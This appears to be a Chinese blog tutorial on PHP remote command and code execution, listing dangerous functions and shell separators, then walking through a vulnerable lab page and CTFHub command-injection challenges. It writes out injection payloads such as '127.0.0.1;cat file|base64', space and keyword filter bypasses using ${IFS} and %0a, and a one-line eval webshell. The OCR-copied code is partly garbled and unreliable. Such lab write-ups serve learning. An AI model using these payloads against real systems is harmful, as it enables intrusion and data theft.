远程代码执行
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
简单来说没有对用户输入内容做限制,比如下面,本来是开发者想让用户输入ip,但是加入一些其他内容,会造成信息泄露。

漏洞危害
PHP RCE涉及函数
命令command注入
作用
system ()执行外部程序,并且显示输出
exec()/shell_exec() 通过shell环境执行命令,并且将完整的输出以字符串的方式返回
pcntl_exec() 在当前进程空间执行指定程序
passthru()执行外部程序并且显示原始输出
popen()打开进程文件指针
proc_open()执行一个命令,并且打开用来输入/输出的文件指针
代码code
函数 作用
eval()把字符串code作为PHP代码执行
assert()检查一个断言是否为false
preg_replace()执行一个正则表达式的搜索和替换
create function()创建一个匿名函数并且返回函数名称
call user func() call user func_array()把第一个参数作为回调函数调用
usort()/uasort()使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
Windows命令拼接符号
&& 左边的命令执行成功,右边的才执行 例子: ping 127.0.0.1 && echo 'hello'
& 简单的拼接 例子: ping 1111& echo'hello'
| 上一条命令的输出,作为下一条命令参数 例子:netstat -ano |findstr 3306
|| 左边的命令执行失败,右边的才执行 例子: ping baidu.com ll pingbaidu.net
Linux命令拼接符号
; 没有任何逻辑关系的连接符
&& 左边的命令执行成功,右边的才执行 例子: cp 1.txt 2.txt && cat 2.txt
| 上一条命令的输出,作为下一条命令参数 例子:netstat -anlgrep 3306
|| 左边的命令执行失败,右边的才执行 例子: cat 3.txt |l cat 2.txt
& 任务后台执行,与nohup命令功能差不多 例子: java -jar test.jar > log.txt &
接下来我们打开pickup靶场,找到rce,靶场源代码如下
18 header("Content-type:text/html;charset=gb2312");
19
//header("Content-type:text/html;charset=gb1232");
20
$result='';
21
22
如果(isset($_PosT['submit']) && $_PosT['ipaddress']!=null){
23
$ip=$_PoST['ipaddress'];
24
11
$check=explode('.
$ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位e-255
220
if(stristr(php_uname('s'),'windows')){
11
var_dump(php_uname('s'));
$result.=shell_exec('ping‘.$ip);//直接将变量拼接进来,没做处理
杰尔塞 {
1
$result.=shell_exec('ping-c 4 '.$ip);
31
32
33
34
35
36 ?>

原本开发人员想让用户这样用

但是我们也可以这样,windows系统下,使用&连接后面的命令,这样就造成了信息泄露

而pickup下面的是远程命令执行,输入以下命令就会出现


CTF题目
第一道,代码如下,这道题很简单,下面直接有eval函数,直接使用中国蚁剑连接
<?php
if
(isset ($_REQUEST[(cmd']))
eval($_REQUESTT"cmd"]):
else
1
highlight_file(_FILE_):
?>

随后在他的终端下面去找

第二道
K?php
Sres=
FALSE:
t
(isset($_GET['ip']) && $_GET['ip'l) {
$cmd =
"ping -c 4
[$_GET[’ip’]}":
exec($cmd, $res):
?>
K!DOCTYPE html>
Khtml>
Khead>
<title>CTFHub命令注入-无过滤</title>
</head>
Kbody>
KhI>CTFHub命令注入-无过滤</hl>
<form action="#” method="GET">
<label for=”ip“>IP : </label><br>
<input type="text” id=“ip“ name=“ip“>
<input type="submit” value="Ping">
</form>
<hr>
<pre>
K?php
if
($res)
1
print_r(Sres):
2
首先输入一下真正ip,在输入一个命令ls
![]()
当前目录下有一个这个文件

我们再去找一下这个文件,输入127.0.0.1;cat 2831297173712.php|base64,得到以下内容,随后进行base64解码


这一关会过滤cat命令,除此之外,也可以用less查看文件,相当于cat
,再加上base64就可以看到了,随后进行base64解密

这一关会进行空格过滤,其实只需要用${ifs}替换空格就可以
输入以下127.0.0.1;cat${IFS}2931392193.php|base64
随后就可以看到,在进行base64解码就可以拿到答案,

直接使用127.0.0.1;ls,发现下面有一个文件夹

使用127.0.0.1;ls flag_is_here,就可以看到答案文件

随后使用,127.0.0.1;cd flag_is_here;cat flag_1546887781464.php|base64,在进行base64进行解码就能得到
下面综合练习

空格———${IFS}
flag———f***
cat --------more
; &| ||------------ %0a 回车符号 %0d 换行
第一步
127.0.0.1;ls 127.0.0.1;cd flag_is_here;ls
第二步
127.0.0.1%0als
127.0.0.1%0acd${IFS}f***_is_here%0als
第三步
127.0.0.1;cd flag_is_here;cat flag_20021218031292.php
127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_20021218031292.php
![]()
1万+

被折叠的 条评论
为什么被折叠?



